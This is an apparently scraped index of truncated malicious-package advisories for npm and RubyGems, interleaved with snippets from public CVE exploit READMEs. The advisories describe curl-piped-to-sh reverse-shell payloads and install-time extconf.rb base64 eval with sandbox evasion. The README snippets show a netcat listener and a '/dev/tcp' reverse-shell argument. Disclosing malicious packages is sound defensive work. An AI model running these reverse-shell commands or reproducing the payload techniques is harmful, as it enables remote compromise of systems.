MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

MAL-2026-17635 Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32- Usage Reverse shell listener with Ncat root@Kali:/TryHackme/Ice nc -nlvp 443 listening on any 443 ... connect to 192.168.92.128 from UNKNOWN 192.168.92.133 49211 Microsoft Windows Version 6.1.7601 Copyright c 2009 Microsoft...

Malicious code in web3-eth-utils (RubyGems)

Source: amazon-inspector 248aba9be7a8bfbd125b43640f1c52007358e34078b3bfec5430933c996b8666 The gem declares a native extension at ext/reqthrottlemini/extconf.rb but ships no C/C++/Rust sources, so the extension entry exists solely to force extconf.rb to run during gem install. Before calling...

Malicious code in eth-address-utils (RubyGems)

Source: amazon-inspector 8ed9d372d4fc694697be41c22e7c4d02d873e53e16bde2336069787b7b961ce2 The gem advertises itself as an Ethereum address utility library but its extconf.rb auto-executed by gem install carries a base64-encoded payload that is decoded and passed to eval inside a double-forked,...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Need to run under Linux, the environment needs to have gcc Install golang, execute the following command to rebound the shell go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1"...

CVE-2024-45519

CVE-2024-45519 SMTP Vulnerability Exploit Script Overview This script checks for vulnerabilities in an SMTP server and, if found, exploits the vulnerability by establishing a reverse shell connection to your machine. Features Port Checking: Verifies if the target SMTP port is open. Vulnerability...

cve-2025-49844

CVE-2025-49844 Mi prueba de concepto personal para CVE-2025-49844, también conocido como RediShell. Compilaciones de destino compatibles: Linux x86-64, imagen Docker redis:8.2.1-alpine Linux x86-64, imagen Docker redis:8.2.1-bookworm Es un poco torpe, probablemente no tan bueno como el de Wiz...

CVE-2024-50498

CVE-2024-50498 Description Improper Control of Generation of Code 'Code Injection' vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console: from n/a through 1.0. Setup Netcat Listener: Open a terminal on your machine and start a Netcat listener to wait fo...

MAL-2026-17616 Malicious code in web3-eth-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in web3-eth-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17597 Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in eth-address-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17569 Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17562 Malicious code in internallib_v923 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4 index.js exports a command function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse...

Malicious code in internallib_v923 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4 index.js exports a command function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse...

CVE-2023-38646

Metabase Pre-Auth RCE POC - CVE-2023-38646 Metabase ओपन सोर्स 0.46.6.1 से पहले और Metabase Enterprise 1.46.6.1 से पहले हमलावरों को सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देते हैं। मैंने हमलावर की मशीन पर रिवर्स शेल प्राप्त करने के लिए स्क्रिप्ट सीधे लिखी है। उपयोग स्क्रिप्ट को Target URL,...